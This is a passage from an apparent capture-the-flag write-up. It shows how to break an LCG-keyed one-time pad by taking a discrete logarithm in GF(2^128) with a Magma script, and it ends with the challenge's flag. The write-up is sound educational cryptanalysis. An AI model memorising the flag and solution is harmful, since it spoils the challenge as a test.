One time pad was used here as well but know we knew the first 4 plaintexts and we had to calculate the following ones. r2 = A**seed * r1 + B*(A**seed - 1)/(A-1)

To get seed from this we first calculated A**seed as ((A-1)*r2 + B)/((A-1)*r1 + B) and then had to calculate the discrete logarithm seed = Log(A, A**seed).

This last part was the hardest for me as I couldn’t get Sage to solve it (I tried in lots of different ways but it always threw NotImplementedExceptions…).

After the competition I’ve read hellman’s writeup, he found a way to do this in Sage.

I knew that Mathematica cannot do this either, so I had no better idea than to look for any implementation on the web and read articles on how solve this if I have to implement my own.

Fortunately I found some promising references in Magma’s documentation and I could solve this with the free online version at http://magma.maths.usyd.edu.au/calc/ with the following script:

K<x> := GF(2,128); # this automatically uses the standard GCM polynomial for modulus
A := x^127 + x^126 + x^122 + x^121 + x^119 + x^117 + x^114 + x^112 + x^110 + x^109 + x^108 + x^106 + x^105 + x^104 + x^102 + x^101 + x^100 + x^99 + x^98 + x^97 + x^96 + x^94 + x^91 + x^90 + x^88 + x^87 + x^86 + x^82 + x^81 + x^77 + x^76 + x^75 + x^72 + x^71 + x^70 + x^68 + x^66 + x^65 + x^64 + x^63 + x^62 + x^60 + x^56 + x^55 + x^53 + x^50 + x^48 + x^43 + x^42 + x^40 + x^38 + x^37 + x^34 + x^32 + x^29 + x^24 + x^23 + x^22 + x^21 + x^18 + x^17 + x^16 + x^15 + x^12 + x^11 + x^9 + x^8 + x^7 + x^6 + x^5 + x^4 + x^3 + x^2 + 1;
An := x^123 + x^117 + x^116 + x^114 + x^113 + x^112 + x^110 + x^109 + x^108 + x^107 + x^104 + x^99 + x^98 + x^97 + x^95 + x^93 + x^91 + x^89 + x^87 + x^84 + x^83 + x^82 + x^81 + x^80 + x^78 + x^74 + x^69 + x^68 + x^66 + x^62 + x^57 + x^53 + x^52 + x^51 + x^45 + x^43 + x^42 + x^41 + x^38 + x^37 + x^35 + x^33 + x^32 + x^31 + x^30 + x^29 + x^28 + x^25 + x^22 + x^19 + x^18 + x^17 + x^15 + x^14 + x^13 + x^12 + x^10 + x^8 + x^5 + x^2 + 1;
Log(A, An);

After this we knew r1 and seed, so I just modified the original code to use these and to encrypt the ciphertext instead (one time pad is an involution).

This gave me

flag{LCG1sN3ver5aFe!!}